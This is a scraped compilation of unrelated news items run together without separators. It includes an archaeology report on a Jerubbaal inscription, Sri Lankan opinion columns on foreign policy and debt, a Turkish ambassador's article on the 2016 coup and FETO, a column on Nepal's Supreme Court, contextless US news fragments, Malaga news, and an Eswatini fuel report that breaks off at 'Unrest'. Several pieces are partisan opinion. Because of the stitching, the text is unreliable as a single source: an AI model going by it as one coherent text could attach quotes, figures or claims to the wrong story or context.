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For media inquiries regarding E-Tech, individuals are encouraged to contact Media Relations Director, Melanie Ann via email at Melanie@e-tech.ca.



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The newly-discovered inscription, which was written in ink on a jug, bears the name Jerubbaal in alphabetic script and dates back to 1,100 BCE, the times of the Biblical Judges.

The ancient inscription was found inside a storage pit at Khirbat er-RaI, an archaeological site some 3 km northwest of Tel Lachish in Israel.

It was written in ink on a jug, a small personal pottery vessel that holds approximately one liter, and may well have contained oil, perfume, or medicine.

It contains the letters yod (broken at the top), resh, bet, ayin, and lamed, and remnants of other letters.

The name Jerubbaal is familiar from Biblical tradition in the Book of Judges as an alternative name for the judge Gideon ben Yoash, said Professor Yossef Garfinkel from the Institute of Archaeology at the Hebrew University and Dr. Saar Ganor from the Israel Antiquities Authority.

In Biblical tradition, he is then remembered as triumphing over the Midianites, who used to cross over the Jordan to plunder agricultural crops.

According to the Bible, Gideon organized a small army of 300 soldiers and attacked the Midianites by night near Maayan Harod.

In view of the geographical distance between the Shephelah and the Jezreel Valley, this inscription may refer to another Jerubbaal and not the Gideon of Biblical tradition, although the possibility cannot be ruled out that the jug belonged to the judge Gideon.

In any case, the name Jerubbaal was evidently in common usage at the time of the Biblical Judges.

Inscriptions from the period of the Judges are extremely rare and almost unparalleled in Israeli archaeology.

As we know, there is considerable debate as to whether Biblical tradition reflects reality and whether it is faithful to historical memories from the days of the Judges and the days of David, the archaeologists said.

The name Jerubbaal only appears in the Bible in the period of the Judges, yet now it was also discovered in an archaeological context, in a stratum dating from this period.

In a similar manner, the name Ishbaal, which is only mentioned in the Bible during the monarchy of King David, was found in strata dated to that period at the site of Khirbat Qeiyafa.

The fact that identical names are mentioned in the Bible and also found in inscriptions recovered from archaeological excavations shows that memories were preserved and passed down through the generations.

_____

This article is based on text provided by the Israel Antiquities Authority.
Unfortunately, Sri Lanka lacked backbone, at least to set the record straight. Sri Lankas failure to efficiently counter war crimes accusations has facilitated high profile external project to snare the country in Geneva.

by Shamindra Ferdinando

Where do the political parties, represented in Parliament, stand on foreign policy? Caught between a deadly battle for supremacy between the West (US), backed by Japan, Australia, and India, and emerging power China, Sri Lanka is struggling to maintain a balance in foreign relations.

It must, however, be noted that South Korea has apparently refused to be part of the US-led Quad, ranged against China, for obvious reasons; we believe primarily being Seoul needs Chinas help if it genuinely wants to reunite with North Koreas and other being economic. But whether it likes it or not, Seoul is part and parcel of whatever Washington strategy as it is virtually bonded to now solitary superpower since the Korean war of the early 1950s in which China fought the US and its allies to a stalemate.

Japanese Defence Minister Nobuo Kishi in video conference with President Gotabaya Rajapaksa on July 6 (pics courtesy Japanese Defence Ministry)

South Korea recently also adopted a strongly critical position over Japanese announcement of plans to release toxic waste water from the Fukushima nuclear reactor disaster to the Pacific Ocean, very much similar to warnings from Beijing over the issue.

Cash-strapped Colombo faces an extremely difficult situation against the backdrop of challenging economic challenges and political instability, caused by often opportunistic squabbling.

Both groups are determined to make Sri Lanka part of their overall strategic planning, in spite of the Western camp accusing the current Sri Lanka Podujana Peramuna (SLPP) government of being too close to China (Chinese Community Party). Sri Lankas relations with the US-led grouping cannot be examined without taking into consideration the enactment of the Colombo Port City Commission Bill, in May 2021 in spite of strong objections. Among those who opposed the Bill were the main Opposition, the Samagi Jana Balavegaya (SJB), the United National Party (UNP), and the Bar Association of Sri Lanka (BASL).

It is pertinent to mention that CHEC Port City Colombo (Pvt) Limited had been the principal sponsor of the National Law Conference 2020 at Jet Wing Blue, Negombo, where the controversial project was endorsed. But that didnt discourage the BASL from moving the Supreme Court against the Colombo Port City Commission Bill. The funding made available by the Chinese government project to the BASL should be discussed along with United States Agency for International Development (USAID) sponsorship of the same event. Similarly the BASL, obviously, in its haste to secure financial support for mega events had no qualms in securing sponsorship for the 2016 Law Asia Conference from tainted primary dealer, Perpetual Treasuries Limited (PTL), over a year after the exposure of its direct involvement in the first Central Bank treasury bond scam, perpetrated on Feb. 27, 2015. By the time, BASL held the event, in five-star comforts; the PTL had already perpetrated the second Treasury bond scam, in March 2016.

Let me discuss Sri Lankas foreign policy dilemma leaving questionable BASL transactions for another day. Sri Lankas foreign policy challenges cannot be deliberated without taking into account Indias growing relationship with the US and its role in Quad, comprising the US, Japan, Australia and Delhi Vis-a-Vis China.

India will continue to pursue its two-pronged strategy here  (i) preserve the 13th Amendment to the Constitution that was forced on us by her to appease the Tamil community and (ii) be party to overall US strategy meant to meet the Chinese challenge. Facing Chinas rapid military buildup and modernization of its armed forces, Japan, India, Australia and South Korea are compelled to play a larger role in their security alliances with Washington.

Chinas Sri Lanka strategy suffered a severe setback in 2015 when Mahinda Rajapaksa failed in his bid to secure a third term. In spite of that, China managed to secure the Hambantota port, on a 99-year-lease.

The UNP installed President Maithripala Sirisena cooperated with Wickremesinghe to finalize the deal to give away on a 99-year lease the Hambantota port in 2017. China managed to wrangle through the Colombo Port City project after yahapalana rule at the onset caused quite a crisis by suspending the high profile venture.

Eventually, the then government gave in to pave the way for the Colombo Port City project. Whatever the rhetoric in and outside Parliament, both the UNP/SJB contributed to the legal authorization of the Colombo Port City project received in May this year.

Post-2015 Lanka-Japan relations

The change of government here, in 2015, paved the way for Japan to take its relationship with Sri Lanka to the next level. The recent conversation, President Gotabaya Rajapaksa had with Japanese Defence Minister Nobuo Kishi, should be viewed against the backdrop of the 2015 Japan-Sri Lanka Comprehensive Partnership. House of Representative member Kishi, of the ruling Liberal Democratic Party (LDP), is a younger brother of former Japanese Prime Minister Shinzo Abe, and a grandson of former Prime Minister Nobusuke Kishi.

The then Premier Ranil Wickremesinghe and Japanese Premier Shinzo Abe signed the Comprehensive Partnership agreement on Oct 6, 2015 in Tokyo. The 25-point declaration dealt with Japanese warships of its Maritime Self Defence Force (JMSDF) visiting Sri Lankan ports.

In terms of political consultations and maritime cooperation therein Both leaders recognized the importance of cooperation and exchanges between the two defence establishments on maritime security.

Itsunori Onodera, also of the LDP, who served as the Defence Minister (Aug 2017-Oct 2018) visited the Trincomalee and Hambantota ports, in 2018. Before Kishi received the defence portfolio, in September, 2020, Takeshi Iwaya (Oct 2018-Sept 2019) and Taro Kono (Sept 2019-Sept 2020), both members of the LDP, held the key portfolio.

According to a Japanese Defence Ministry statement, issued on July 6, Defence Minister Kishi held a 30-minute teleconference, commencing 2.10 pm, with President Gotabaya Rajapaksa. The following is the text of the statement issued from Tokyo: Both sides exchanged views on bilateral defence cooperation and exchanges and welcomed the steady progress being made in a broad range of areas, including naval cooperation and aerial cooperation. In this context, both sides welcomed the bilateral exercise JA-LAN EX which was successfully conducted in September 2020, Maritime Self-Defence Force vessels first participation in Cooperation Afloat Readiness and Training (CARAT) exercise hosted by Sri Lanka and the U.S., which took place last week, as well as the successful delivery of the online Air Rescue seminar in May 2021.Both sides confirmed that they will share knowledge and lessons learned from infectious disease control measures taken by the defence authorities. Furthermore, both sides concurred that Japan and Sri Lanka will further promote bilateral defence cooperation and exchanges based on the Memorandum on Defence Cooperation and Exchanges signed in 2019. Both sides also exchanged views on the recent regional security issues, including the East China Sea and the South China Sea. In this context, Minister Kishi expressed strong opposition to any unilateral attempts to change the status quo by coercion in the East and South China Seas. Both sides affirmed that they will send a clear message about the importance of free, open, and rules-based maritime order. Both sides also concurred in maintaining close communication between respective defence authorities and proactively promoting defence cooperation and exchanges to uphold and reinforce a free and open Indo-Pacific.

Regional security issues

Japan is at loggerheads with China. Japanese Defence Ministry statement released by the Japanese Embassy in Colombo dealt with what the US ally called regional security issues, including the East China Sea and the South China Sea. The Japanese Embassy also issued statements in Sinhala and Tamil regarding the discussion which covered both bilateral issues and regional security issues. Why on earth does Tokyo wants Sri Lanka to underscore the importance of free, open Indo-Pacific and rules-based maritime order? Chinas disputes with Japan other states over territorial sovereignty and resource claims in the East and South China Seas are matter of grave concern. Obviously, Japan raised complex security concerns with President Gotabaya Rajapaksa because Tokyo considered Sri Lanka-China relations inimical to the interests of those opposed to rapid Chinese strides. Simmering disputes centre on (i) overlapping maritime resource claims and sovereign control over the Senkaku/Diaoyu islands northeast of Taiwan, and (ii) the complex web of disputes between China and several Southeast Asian countries (Vietnam, the Philippines, Malaysia, Brunei, and Taiwan) over many islands, atolls, reefs, and shoals in the South China Sea. In addition to those issues, there are a range of disputes over naval operations within Chinas Exclusive Economic Zone (EEZ) and activities at other theatres. Japan and those who are concerned about Chinese military presence in other parts of the world, including Chinese investments in Sri Lanka conveniently forget significant US military presence in Japan, South Korea, Australia, Diego Garcia in the Indian Ocean, Guam, etc. (On the invitation of US State Department, the writer had an opportunity to visit US military facilities in South Korea, as well as Hawaii in the 90s) et al. One-time Japanese Defence Minister Itsunori Onodera, during a high profile visit to Hambantota, commented on the availability of the Hambantota port leased to China to all countries. Japanese NHK TV covering Onoderas visit to Sri Lanka, the first by a Japanese Defence Minister, stated: Top defence officials of Japan and Sri Lanka have confirmed that a Sri Lankan port leased to China should be open to all countries to ensure freedom of navigation. Minister Onodera said the Hambantota port, in southern Sri Lanka, is located on a crucial shipping route. State Minister for Defense Ruwan Wijewardene said his country will not permit China to use the port for military purposes.

Obviously, Japan, India, South Korea and Australia pursue a common strategy Vis- a- Vis Sri Lanka regardless of political developments here. Can we forget how former President Maithripala Sirisena finalised Access and Cross Servicing Agreement (ACSA) with the US in early August 2017? President Sirisena acknowledged the signing of ACSA at a meeting with senior representatives of print and electronic media at the Presidents House in response to a query raised by the writer. The writer sought clarification from President Sirisena after he claimed he wouldnt give into US pressure over ACSA, SOFA (Status of Forces Agreement) and MCC (Millennium Challenge Corporation) Compact under any circumstances. During Maithripala Sirisenas tenure as the President, Sri Lanka engaged in a dialogue with the US over ACSA, MCC and SOFA. It would be pertinent to mention that Sri Lanka first entered into ACSA way back in March 2007 with the then Defence Secretary Gotabaya Rajapaksa signing the agreement on behalf of Sri Lanka.

13 A

India is deeply concerned about Sri Lankas close relationship with China. India put pressure on the previous Rajapaksa government to halt major Chinese infrastructure projects. India also sought US intelligence on the Hambantota port, at the onset of the Hambantota port project during the early stages of the war. Indias concern over the growing Chinese presence in Sri Lanka is exploited by Western powers to their advantage. However, India, on a collision course with China needs the US backing, though Washington humiliated Modi before the world by a much publicized denial of a visa to him to visit US in 2005. The US found fault with Modi for violence directed at the Muslim community in 2002. The US alleged that Modis Bharathiya Janatha Party (BJP) carried out the massacre of over 1,000 Indian Muslims. As a member of Quad, the US now expects New Delhi to play a certain crucial role against Beijing. The US seems confident of Indias wherewithal to meet the Chinese challenge, alongside Western powers. The pressure being mounted on Sri Lanka is part of that strategy. However, India has a separate project going on in Sri Lanka. A project meant to preserve the gains New Delhi made here in 1980s by enactment of the 13th Amendment to Sri Lankas Constitution. While battling the Chinese, India is busy, cleverly advancing its political project by working with lawmakers and other interested parties, including ex-members of the LTTE. Indian High Commissioner in Colombo Gopal Baglay and Deputy High Commissioner K. Vinod and Political Councillor Mrs Banu Prakash over the past several months reiterated Indias support for devolution on the basis of full implementation of the 13 A and the early conduct of Provincial Council polls.

One-time LTTE field commander and ex-lawmaker Karuna (Vinayagamoorthy Muralitharan), ex-LTTE cadre lawmaker Pillayan (Sivanesathurai Chandrakanthan) were among those invited by the Indian High Commission.

However, the recent meet Baglay, Vinod and Prakash had with lawmakers of Tamil Progressive Alliance (TPA) is far more interesting as the outfit is part of the main Opposition SJB. Four TPA members elected on the SJB ticket met the Indian delegation at India House on July 6. The discussion covered what the Indian High Commission declared as the significance of the Indian Housing and other community development projects implemented in the plantation region.

India cannot be faulted for adopting strategies meant to advance its clout here. Over the years, Sri Lankan political parties have paved the way for external interventions with some members of Parliament repeatedly seeking foreign interventions. Some Tamil political parties represented in Parliament, early this year, sought foreign intervention here in the run-up to the 46th Geneva session.

The TNA led grouping urged member states of Geneva-based United Nations Human Rights council and (1)other organs of the United Nations, including the UN Security Council, and the UN General Assembly take up Sri Lanka accountability issue and take suitable action by reference to the International Criminal Court and any other appropriate and effective international accountability mechanisms to inquire into the crime of genocide, war crimes and crimes against humanity (ii) The President of the UNHRC refers matters on accountability in Sri Lanka back to the UN Secretary General for action as stated above (iii) Member States to mandate the Office of the High Commissioner for Human Rights (OHCHR) to continue to monitor Sri Lanka for ongoing violations and have an OHCHR field presence in country and (iv) Without detracting from that which has been stated in point 1 above, take steps to establish an evidence gathering mechanism similar to the International Independent Investigatory Mechanism (IIIM) in relation to Syria established as a subsidiary body of the UN General Assembly with a strict time frame of twelve months duration.

Those relentlessly pushing Sri Lanka on the human rights front on the basis of unsubstantiated war crimes accusations are opposed to Sri Lankas relationship with China. The UK, in its capacity as the leader of self-appointed Sri Lanka Core Group and Canada embroiled in controversy over the secret deaths of nearly 900 indigenous children, who were recently found buried in unmarked graves are spearheading the campaign against Sri Lanka. The UK and Canada never bothered to inquire into how they contributed to terrorism in Sri Lanka by giving a free hand to the LTTE to raise funds and operate in their countries.

Unfortunately, Sri Lanka lacked backbone, at least to set the record straight. Sri Lankas failure to efficiently counter war crimes accusations has facilitated high profile external project to snare the country in Geneva. The TNA that served the LTTEs macabre cause till it was militarily defeated on the banks of the Nandikadal lagoon in May 2009, received recognition as the saviour of the Tamil community at the end of the conflict. The incumbent government is obviously incapable of setting the record straight. British High Commissioner Sarah Hulton recently received a TNA parliamentary delegation to discuss Sri Lankas human rights record. Perhaps, HC Hulton should have inquired from TNA leader R. Sampanthan the circumstances (i) he recognized the LTTE as the sole representative of the Tamil community at the expense of his party and all other Tamil lawmakers (ii) engineered UNP leader Ranil Wickremesinghes defeat at the 2005 presidential election and lastly (iii) backed General Sarath Fonseka at the 2010 presidential election having accused his Army of massacring thousands of Tamil civilians.

As long as Sri Lanka fails to address domestic issues, including rapidly deteriorating national economy due to the pandemic, waste, corruption, irregularities and negligence, foreign powers will have an opportunity to intervene. Sri Lanka is a glaring example of system failure. A simple scrutiny of COPE (Committee on Public Enterprises), COPA (Committee on Public Accounts) and COPF (Committee on Public Finance) will reveal the pathetic situation. A weak economy opens the country for foreign interventions in various forms. Sri Lanka is certainly a case in point.
The total amount of debt we currently have to repay is US $4.3 billion. But we only have US $3 billion. What will be left in the country's treasury when the country pays off the US $3 billion and more than US $1 billion in instalments before the end of the year?

by Ranil Wickremesinghe

Sri Lanka today is mired in an economic crisis centered on a foreign exchange deficit. At present our foreign exchange reserves are $ 4 billion. After paying US $1 billion in bond servicing in the middle of the year, the Treasury has only US $3 billion in reserves left. In addition, the CPC is stuck with US $1.3 billion in unpaid dollar bills.

There are no dollars in our commercial banks today. Our banks are in debt. Those figures have not been released. But according to unofficial reports, it is around US $3 billion.

Accordingly, the total amount of debt we currently have to repay is US $4.3 billion. But we only have US $3 billion. What will be left in the country's treasury when the country pays off the US $3 billion and more than US $1 billion in instalments before the end of the year?

A known financial crisis has been created in the country. The government imposed import restrictions as there was no money to import goods into the country. The farmer was told to buy organic manure. The government is telling farmers to choose organic fertilizers due to lack of funds for them to purchase non-organic fertilizer and for no other reason.

We dont have the US dollars to pay for an oil tanker that has docked at the Colombo Port. If you don't pay dollars, this ship will take the oil that is due here. Therefore, the government is looking for dollars so that they can purchase this oil.

It has been recommended that the COVID-19 vaccine be given only to those over 30 years of age as the government does not have the funds to provide the vaccine to everyone. The country is stuck in such a serious crisis.

The government tried to take money from many countries but did not get it. Even a small loan in the short term is not enough to get out of this crisis.

Meanwhile, the International Monetary Fund recently decided to distribute $ 65 billion among its 190 member countries. This will also benefit us with US $800 million available. That money is not enough to move our country's economy forward. So they have to find more money.

If the government does not have an alternative way of raising money, I suggest that it discusses with the International Monetary Fund and find the money needed to sustain the country's economy. Once we get the IMF certificate, we will be able to get money from countries like India, China and Japan.

Our unemployment may increase by the middle of next year. Accordingly, the hunger of our people will increase.

I look forward to hearing a debate in Parliament on the current financial crisis over this serious issue. Because the financial affairs of the country are controlled by Parliament. The Central Bank and the Treasury operate under Parliament and not above it. Therefore, I request that under the the privileges of Parliament a debate be held in regards this matter.

( The writer is the Leader of the United National Party and former Prime Minister of Sri Lanka)
Once the new state order successfully established in Turkey under the absolute rule of Fetullah Gulen, their ultimate objective was to replicate the same in other countries of the world.

Article by H.E. R. Demet Sekercioglu, Ambassador of the Republic of Turkey, on the occasion of the fifth year commemoration of the thwarted coup attempt on July 15, 2016

Since her inception on 29 October 1923, the Republic of Turkey has faced with many challenges threatening her national sovereignty, territorial integrity and communal unity. However, the thwarted coup of 15 July 2016 was the bloodiest coup attempt and the most organized terrorist attack that Turkey had ever experienced. The members of the Fetullahist Terrorist Organization (FETO) used 74 tanks, 246 armoured vehicles, 03 military ships, numerous weapons, 37 military helicopters and 35 military aircrafts belonging to the Turkish Army to bomb the Turkish Grand National Assembly, the Presidential Complex, the Police headquarters and the National Intelligence Organizations premises.

Cost of Fetullahs Cult

Yet, hundreds of thousands unarmed civilians who took the streets that night proved the attachment of the Turkish nation to the democratic and republican values. Today, on the occasion of the fifth anniversary of the thwarted coup, we are commemorating the 251 martyrs who sacrificed their lives and over 2500 wounded, who fought fearlessly in unity and solidarity to save the Republic. Despite the magnitude of the heinous attack, the victory gained on that night is just a clear reflection of the self-power of Turkish people.

R. Demet Sekercioglu

In order to effectively fight this terrorist organization, it is important to understand what exactly FETO is, how it started, how it operates and of course its goals. Starting from 1970s, FETO became known as a charity and education movement inside and outside of Turkey. Its ringleader, Fetullah Gulen, who is considered Imam of the Universe by his followers, gradually put his sinister plan into action. Members of FETO have been infiltrated into the critical positions of the military, police, judiciary, intelligence and other state institutions. Within time, this charity-oriented movement turned into a secretive criminal network and especially since 2013, its ultimate aim revealed: Taking control of Turkish state apparatus by toppling the democratic, secular and constitutional regime. In order to reach this demonical target, FETO did not abstain from using any illegal means possible. Document forgery, faked evidences, sham trials, illegal wiretapping, money laundering, illegal cash transfers, power abuse against those opposing the organization, blackmailing and intimidation were only some of those strategies used for this purpose. Once the new state order successfully established in Turkey under the absolute rule of Fetullah Gulen, their ultimate objective was to replicate the same in other countries of the world.

It is also worth mentioning that FETO tries to gain the hearts and minds especially in the West by presenting itself as the representative of moderate Islam. It has also unfortunately succeeded into a certain extent. However, sermons of Fetullah Gulen, released in social media by his former followers clearly showed his radical views on non-Muslims, violence to be inflicted to women in total disharmony with both Islamic and modern values.

People's unity against terrorism

After FETO revealed its dark face, the Government of Turkey started to exert great efforts to completely eradicate its presence inside and outside of the country. Following intensive operations, FETO has now lost its controlling power in Turkey; however, it is still striving to survive in countries where it has established its presence. Due to its broad international network, FETO essentially poses beyond a national threat. Considering its secretive and unique structure, FETO could cause immeasurable danger to all countries where it remains active still.

In order to eliminate the international network of FETO, Turkey resolutely continues her cooperation with its international partners. So far, our official initiatives with other countries resulted in concrete outcomes, such as FETOs declaration as a terrorist organization by several countries and organizations, closure of FETO affiliated schools and education centres in 40 countries, transfer of the schools to the Turkish Maarif Foundation in 20 countries. Over 110, out of 800 FETO members whose extradition were requested from 105 countries were handed over to the Turkish judiciary. Turkey has also called upon her international partners to freeze the assets of FETO members from the countries where they are residing.

In the wake of these developments, we are pleased to note that our collective efforts with international partners reached success to a greater extent and Sri Lanka is also among those countries. From the very beginning, Turkey has warned Sri Lankan authorities against the malicious activities of FETO, which was active through an affiliated school and some business organizations in this country. We are deeply appreciative for the support extended by the Sri Lankan authorities to eliminate FETO presence in Sri Lanka.

Cost of Fetullahs Cult

As Turkey continues to intensify her operations all around the world, FETO members are feeling trapped more than ever and have been seeking a safe haven. At this juncture, it has gained much more importance to rigorously follow the activities of FETO affiliates in every corner of the world. As FETO was active in Sri Lanka until recently, this beautiful island might be considered as an option by its members in the future, as well, if they could find a way to return. Therefore, Turkey will maintain her close cooperation with her Sri Lankan counterparts to prevent any possible attempt from FETO elements to take shelter in Sri Lanka. We strongly believe that as a country which has gained a unique victory against one of the most dangerous terrorist organizations, Sri Lanka will also continue to carry out surveillance on all suspicious terror elements including FETO members at present as well as in the future.
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With the return of Sher Bahadur Deuba and the Opposition alliance, India has been dealt a tricky hand; thanks to the Supreme Courts independence

by Ashok K Mehta

Never before has the Supreme Court revived a dissolved House twice in five months as on July 12 in Nepal. This is a record smacking of infirmities in the 2015 Constitution but also independence of judiciary. The 167-page judgment was not just along expected lines, but went beyond expectations of the petitioners. The verdict overturned the decision of President Bidya Devi Bhandari to dissolve the House on recommendations of Prime Minister KP Oli, ordered the resurrection of the House at 5 PM July 18 and passed a rare mandamus to the President to appoint under Article 76 (5) Sher Bahadur Deuba of the Nepali Congress as the new Prime Minister (a record fifth time) by July 14. Further, it declared that a party whip does not apply when lawmakers take part in voting to elect Prime Minister under 76 (5).

Fearing the criticality of 23 UML lawmakers from MK Nepal faction who signed on to the Opposition alliance tilting the balance, Oli was on the cusp of a deal with the dissident group. Thirty petitions were entertained by the Supreme Court and one from Opposition alliance seeking restoration of Parliament and appointment of Deuba as PM. The court ordering appointment of PM was unusual.

The first dissolution on December 20, 2020, was overturned on February 23. Then, as now, four former Chief Justices of Nepal had predicted the House will be restored. Oli has managed to remain Prime Minister by Bhandari favourably interpreting provisions under Articles 76 (1, 2, 3, and 5). Acting on recommendations of Oli and his Cabinet, she dissolved the House a second time on May 22 and announced snap polls for November 12 and 19. Oli failed to secure a vote of confidence, especially after Maoist Centre withdrew its support to the Centre on May 4. Oli should have resigned on moral grounds after failing to prove majority  93-124  under 100(6) on May 10.

Public confidence in the Constitution and political system has eroded and national surveys blame political leaders for it. Nepal has had seven Constitutions. Apparently the 2015 Constitution has loopholes that need to be fixed. It has space between which a PM and obliging President are able to manipulate provisions of Article 76. Oli was sworn in as caretaker PM again on May 13 as leader of single largest party and was required to secure a confidence vote by June 12 but realising he would fail, he managed to sabotage the House after a midnight coup and get himself appointed as caretaker PM on May 22.

Many Nepalis have called Bhandari as Olis accomplice and argued that her discretionary powers are finite and justiciable as court has now decreed. No one is above the rule of law. It must also be noted that the same person in same term of House cannot be repeatedly appointed PM under Article 76 (3) and allied provisions. Other anomalies that arise are (a) requirement of signatures essential for claim to Government formation; (b) a PM who has lost confidence of the House is unfit to counsel President on House dissolution; (c) resignation of PM mandatory after losing floor test; (d) floor test essential before appointing Oli PM under Article 76 (3) on May 13. In February 2018, Oli with commendable foresight had said the Nepals Constitution is best in the world. Besides Oli, once kingmakers Janata Samajbadi Party (Mahanta Thakur-Rajendra Mahato group) are the best losers: Their 20 Ministers were sacked barely 15 days in office by the court. The Citizenship Act Ordinance that Madhesi parties have been seeking was also annulled by the apex court which said no constitutional amendment till the five-member task force has scrutinised the amendment.

Disenchantment with the political system has drawn Nepalese back towards monarchy. Surveys carried out in all seven provinces indicate that 51.7 per cent want Nepal to become a Hindu State and 40.3 per cent a secular Nepal. Mahesh Bhatt, CPN UML, a youth leader close to Oli, has been praying for return of monarchy. Oli too, lately, has been championing cause of Hindu Rashtra  sanctioning construction of a grand new Ram temple. Talking to journalists, even Prachanda admitted countrys image was better under monarchy. The King and Queen were down with COVID after the Kumbh mela. After Olis ascent to power as an ultranationalist and managing his Governments longevity, he became the most powerful though not the smart leader of Nepal. Oli, the man credited with showing India its place after the blockade, opening up to China and cartographic recovery of territory from India, was quietly mending fences with New Delhi, even promising a Hindu raj after dumping the Chinese. He told the BBC recently that the misunderstanding (without specifying it) with India has been resolved.

With the return of Deuba and the Opposition alliance, India has been dealt a tricky hand thanks to the devout independence of judiciary, proven not once but twice. Deuba will have to prove his majority within a month in which support of the 23-strong Madhav Nepal faction will be crucial. Keeping his mixed flock of Nepali Congress  they want leadership change; Maoist Centre-Prachandas insatiable thirst for power; Janata Samajbadi Party (Upendra Yadav-Baburam Bhattarai faction); and CPN UML (Nepal faction) still finding its feet  together will not be easy.

(The writer, a retired Major General, was Commander, IPKF South, Sri Lanka, and founder member of the Defence Planning Staff, currently the Integrated Defence Staff. The views expressed are personal.)
Barry C. Black, the chaplain of the U.S. Senate, preached at New Horizon Christian Church in Cool Valley on Saturday, February 11, 2017 as part of the churchs 19th anniversary celebration.
At the same time, Santiago Santana, 41, of Hialeah, was driving east on Pembroke Road toward SW 48th Avenue. As the Volvo was turning left to go south on SW 48th Avenue, it was T-boned by Santanas BMW.
Hundreds of victims of the deadly collapse of a Surfside condo building could expect to see compensation in the near future, as a Miami-Dade Circuit judge Wednesday approved the planned sale of the oceanfront property, valued at more than $100 million, as well as the disbursement of millions more in insurance payments for property and personal damages.
There are things we can do and unfortunately cannot do, said Suarez, according to NBC 6. We are not an agency of foreign policy. We dont have tanks, we dont have bombs, we dont have planes. We dont have any of those things. What we can do is advocate and what we need to do is talk to each other, not at each other.
The largest fire in the U.S. on Wednesday was burning in southern Oregon, to the northeast of the wildfire that ravaged Hockadays tribal community less than a year ago. The lightning-caused Bootleg fire was encroaching on the traditional territory of the Klamath Tribes, which still have treaty rights to hunt and fish on the land, and sending huge, churning plumes of smoke into the sky visible for miles.
This is an administration that says that they believe in international organizations and that they believe in these multilateral bodies. If thats the case, get our allies in the hemisphere together ... and see how they can rally others can help out, Diaz-Rosillo said.
These newly adopted Holocaust and revised civics standards will ensure that our children learn the Judeo-Christian foundations of our nation, while also curbing the growth of anti-Semitism, she said in an emailed statement. We are humbled and grateful to have been invited to collaborate on this important endeavor for the future of the State of Florida and the United States of America!
Born in 1875 in a farming town in South Carolina, Bethune was the 15th of 17 children born to former slaves and was forced to overcome the many crushing burdens of the Jim Crow era. With $1.50 to her name, so it is told, but with a strong faith in God and an iron will, Dr. Bethune opened the Literary and Industrial School for Training Negro Girls in Daytona Beach. It would eventually become Bethune-Cookman University, one of Americas oldest historically black universities.
Ryanair, the leading airline by passenger numbers at Malagas Costa del Sol airport, has announced it will link 77 destinations to the city this summer, with new routes to Belfast, Fez, Menorca, Rabat, Pisa and Sofia.

The Irish budget airline believes that it will fly some five million passengers on the coast by the end of the year.

Jason McGuinness, Ryanairs commercial director, has said that "as the number one airline in Spain, we are delighted to contribute to the reactivation and growth of tourism in Malaga despite the challenges of the Covid-19 pandemic."

McGuinness said he is "very happy with the demand in Malaga" and believes air traffic will recover strongly this summer in the city where the airline has eleven aircraft based.

Jason McGuinness, Ryanairs commercial director. / SALVADOR SALAS

In addition, Ryanairs commercial director also announced details of the carriers winter season schedule in Malaga, which will start in October, in which it is expected to connect the coast with 73 destinations in Europe, including eight new routes. Specifically, the budget airline will offer connections, with two flights a week, to Aarhus in Denmark; Lanzarote; Paris Beauvais; Kaunas in Lithuania; Stockholm Arlanda; Agadir, Riga and Turin.
British developers Citygrove and Burlington are behind plans to create a shopping complex in the Plaza de Toros area of Marbella with a total investment of 100 million euros.

At the moment they are "immersed in the development and planning phase that we hope to be able to conclude this year," explained Manuel Gonzalo de Ligne, Citygrove's director of development in Spain.

The prestigious New York architecture studio KPF, which holds several international awards, has been hired to make a conceptual project with state-of-the-art materials and with a respect for the environment as an architectural pillar.

De Ligne said, "It will be a mixture of several concepts: with an open shopping centre, which would be more of a 'mall', open-air common spaces and car parking."

"In a place like Marbella and the Costa del Sol you have to make the most of the wonderful climate," he emphasised.

Some potential business clients have already expressed their interest in the project, and the development director has confirmed, Some of them do not yet have a presence in Spain but they are interested in Marbella because of its international image.

Our goal is to be able to open by Christmas 2023 but it depends not only on us, but also on third parties. I believe that we must make an effort to meet that deadline because it will benefit all, he added.
A gang, which allegedly specialised in providing rental vehicles to other criminal organisations, has been uncovered after an investigation was sparked by Local Police officers in Malaga.

National Police officers took over the case after Local Police officers in Malaga stopped a vehicle and found its occupants were carrying 99,940 euros in cash, which they could not explain.

During the investigation, the National Police officers discovered the vehicle that was stopped was a rented and suspicions were raised that it was provided by an organised gang supplying them to other alleged criminals.

Sources said the police investigations focussed on how the gang scammed the companies which they rented the vehicles from and then how they then subleased these cars to other criminal groups.

To try and cover their tracks, the group allegedly used fake identities for different people, who acted as intermediaries between the companies that owned the cars and the criminals who finally made use of them.

The operation finally culminated in the arrest of twelve members of the network in Malaga, Madrid, Alicante and Murcia. Four searches were carried out with jewellery and several luxury watches  valued at more than one million euros  along with some 150,000 euros in cash and a revolver being seized by police.
Malaga's contemporary art centre - CAC Malaga - is currently hosting The Silence of Eternity, the first solo exhibition in a museum in Europe by Canadian artist Don Bergland. The exhibition, curated by Patricia Bueno del Rio, is composed of fifty works in various formats spanning almost ten years of the artist's professional career, some of which have been made specifically for this exhibition. His works, created through digital tools, the technique of 3D modelling and the use of pigments on canvas, represent a theatrical narrative with themes such as time, ageing, nostalgia, the search for utopia and the conditions of ideology that disable the rational minds of people.

The title of the exhibition refers to the stillness or space that seems to surround the human understanding of the concept of eternity. Bergland addresses this question by depicting small theatrical scenarios that bring together a group of characters looking outward in search of eternity and asking questions about existence, hoping to obtain an answer, which is ultimately silence.

The artist began his career drawing caricatures and continued exploring themes related to black humour, which led him to adopt the style that he uses today. He later worked using various artistic techniques from oil on canvas to his current use of digital equipment and techniques.

His knowledge of classical studies, specialising in Greek pre-Socratic philosophy, was the basis of his personal style which the artist himself calls "theatrical surrealism".

Using digital processes such as 3D software he builds scenarios and objects and uses puppets and mannequins positioning them in his maquettes to express his ideas. Once he creates his models, the artist later edits the digital photography by painting and texturing.

The exhibition runs at CAC Malaga until 12 September.
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MBABANE  Some filling stations have capped the amount of fuel per car to E200.

This is meant to ensure that many motorists are able to refuel and get to their destinations. This was the case at Galp Filling Station at Eveni, where traffic coming from the main road and all the feeder roads was visible. In an interview with the stations manager, Majahonkhe Tsela, he said rationing of fuel was the only option so that all motorists could at least drive home. Tsela said they had decided to fuel E200 maximum in each car. Asked if the available fuel would serve all the motorists, Tsela couldnt give a clear response, but registered his hope that all the motorists would get the fuel.

Unrest

